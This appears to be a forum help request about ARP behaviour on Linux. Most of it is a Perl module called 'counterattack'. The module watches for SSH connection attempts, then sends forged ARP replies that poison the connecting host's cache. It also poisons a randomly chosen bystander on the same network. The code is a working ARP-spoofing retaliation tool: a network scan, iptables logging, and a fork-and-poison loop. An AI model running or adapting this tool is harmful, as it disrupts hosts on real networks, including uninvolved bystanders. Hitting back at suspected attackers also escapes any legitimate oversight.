Alas, even after rereading my course material on the arp protocol (which is scant to say the least) and searching the internet for informations on the behaviour of linux systems when it comes to it I cant answer the question that bugs me most:
Even though wireshark indicates that the packets are correctly sent (and even warns me of duplicate macs for the same ip address during the capture) the arp cache of the machine I am using to trigger the script is not updated with the random mac.
So here I come, looking for your wisdom and hoping to learn more on this topic.
It is one my first attempts at using module starter instead of single file scripts so I would also be grateful for informations and advice regarding my code layout/style
package ssh::counterattack;
use 5.006;
use strict;
use warnings;
use Getopt::Long;
use File::Tail;
use Net::ARP;
use Net::Ping;
use Net::Netmask;
use autodie;
use Exporter qw(import);
our $VERSION = '0.01';
our @EXPORT_OK = qw/arp_lookup random_target monitor/;
sub arp_lookup{
my ($net,$mask,$dev,$hash) = @_;
print "$net\n$mask\n$dev\n";
my $block = new Net::Netmask($net,$mask);
my @ips = $block->enumerate();
shift @ips; #get rid of first ip
pop @ips;#get rid of last ip
`/bin/echo 8 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`; #stop mys
+elf from
#truthfully answering arp requests
for my $i (0 .. 1){#does it twice in case we miss someone
foreach my $ip(@ips){
my $p = Net::Ping->new('icmp');
if($p->ping($ip,0.02)){
my $mac = Net::ARP::arp_lookup($dev,$ip);
if($mac =~ /(unknown|00\.00\.00\.00\.00\.00)/||$ip eq
+$net){
next;
}
else{
$hash->{$ip} = $mac;
print "$ip=>$hash->{$ip}\n";
}
}
}
}
`/bin/echo 0 > /proc/sys/net/ipv4/conf/eth0/arp_ignore`;#start ans
+wering
#truthfully again
}
sub random_target{
my ($hash) = @_;
print "hash = $hash\n";
my @keys = keys %$hash;
print @keys;
my $n = int(rand($#keys));
return ($hash->{$keys[$n]},$keys[$n]);
}
sub setup{
`/sbin/iptables -N log-and-drop;
/sbin/iptables -A log-and-drop -j LOG --log-prefix 'ATTACK';
/sbin/iptables -A log-and-drop -j DROP;
/sbin/iptables -A INPUT -p tcp --dport 22 -j log-and-drop;`;
}
sub poison{
my($foe,$foe_mac,$bystander,$bystander_ip,$device,$myip) = @_;
print "poisoning now\ndevice=$device\nmyip=$myip\n
foe=$foe\nbystander=$bystander\nfoe_mac=$foe_mac\n";
for my $i (0 .. 120){
sleep(1);
print "gagging bystander\n";
Net::ARP::send_packet($device,
$foe,
$bystander_ip,
'aa:bb:cc:dd:ee:ff',
$bystander,
'reply');
print "lying to foe!\n";
Net::ARP::send_packet($device,
$myip,
$foe,
$bystander,
$foe_mac,
'reply');
}
exit(0);
}
sub monitor{
my ($file,$hash,$device,$myip) = @_;
my $line;
unless(defined($hash)){
die "too bad, no hash given!\n";
}
print "opening $file for tailing\n";
my $handle = File::Tail->new($file);
while(defined($line=$handle->read)){
if($line=~/\AATTACK/){
print "got an attack\n$line\n";
$line=~m#SRC=(?<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s#;
my $foe = $+{ip};
print "foe is $foe\n";
my $pid = fork();
if(defined($pid)){
print "this is $pid\n";
my @bystander;
while(!defined($bystander[0])||$bystander[0] eq $foe||
+$bystander[0] eq $myip){
@bystander = random_target($hash);
}
poison($foe,$hash->{$foe},$bystander[0],$bystander[1],
+$device,$myip)
}
else{
print "father here\n";
}
}
}
}
sub run{
setup();
my($file,$network,$device,$mask);
$file = '/var/log/messages';
GetOptions("net=s"=>\$network,
"device=s"=>\$device,
"mask=s"=>\$mask)
or die("not enough arguments, error on the cli\n");
if(!defined($network)||!defined($device)||!defined($mask)){
die("I need all my args!\n --net=10.0.0.5 --device=wlan0
--mask=255.255.255.0");
}
my $hash = {};
arp_lookup($network,$mask,$device,$hash);
#/var/log/messages
print "monitoring $file\n";
monitor($file,$hash,$device,$network);
}
END{
print "cleaning iptables\n";
`/sbin/iptables -D log-and-drop -j LOG --log-prefix 'ATTACK';
/sbin/iptables -D log-and-drop -j DROP;
/sbin/iptables -D INPUT -p tcp --dport 22 -j log-and-drop;`;
print "goodbye!\n";
}
1;